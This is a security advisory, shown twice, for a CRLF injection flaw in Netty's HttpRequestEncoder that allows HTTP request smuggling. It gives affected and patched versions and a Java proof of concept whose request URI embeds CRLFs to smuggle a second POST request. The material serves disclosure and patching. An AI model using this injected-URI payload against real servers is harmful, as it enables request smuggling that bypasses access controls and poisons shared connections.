Headline

GHSA-84h7-rjj3-6jx4: Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

public static void main(String[] args) {

  EmbeddedChannel client = new EmbeddedChannel();
  client.pipeline().addLast(new HttpClientCodec());

  EmbeddedChannel server = new EmbeddedChannel();
  server.pipeline().addLast(new HttpServerCodec());
  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
      System.out.println("Processing msg " + msg);
    }
  });

  DefaultHttpRequest request = new DefaultHttpRequest(
    HttpVersion.HTTP_1_1,
    HttpMethod.GET,
    "/s1 HTTP/1.1\r\n" +
      "\r\n" +
      "POST /s2 HTTP/1.1\r\n" +
      "content-length: 11\r\n\r\n" +
      "Hello World" +
      "GET /s1"
  );
  client.writeAndFlush(request);
  ByteBuf tmp;
  while ((tmp = client.readOutbound()) != null) {
    server.writeInbound(tmp);
  }
}

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.

8 hours ago

ghsa

Open in Source

#vulnerability #git #java #maven

GitHub Advisory Database
GitHub Reviewed
CVE-2025-67735

Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

Moderate severity GitHub Reviewed Published Dec 15, 2025 in netty/netty • Updated Dec 15, 2025

Package

maven io.netty:netty-codec-http (Maven)

Affected versions

>= 4.2.0.Alpha1, < 4.2.8.Final

< 4.1.129.Final

Patched versions

4.2.8.Final

4.1.129.Final

Summary

The io.netty.handler.codec.http.HttpRequestEncoder CRLF injection with the request uri when constructing a request. This leads to request smuggling when HttpRequestEncoder is used without proper sanitization of the uri.

Details

The HttpRequestEncoder simply UTF8 encodes the uri without sanitization (buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

PoC

Simple reproducer:

public static void main(String[] args) {

EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec());

EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } });

DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, “/s1 HTTP/1.1\r\n” + “\r\n” + “POST /s2 HTTP/1.1\r\n” + “content-length: 11\r\n\r\n” + “Hello World” + “GET /s1” ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } }

Impact

Any application / framework using HttpRequestEncoder can be subject to be abused to perform request smuggling using CRLF injection.

References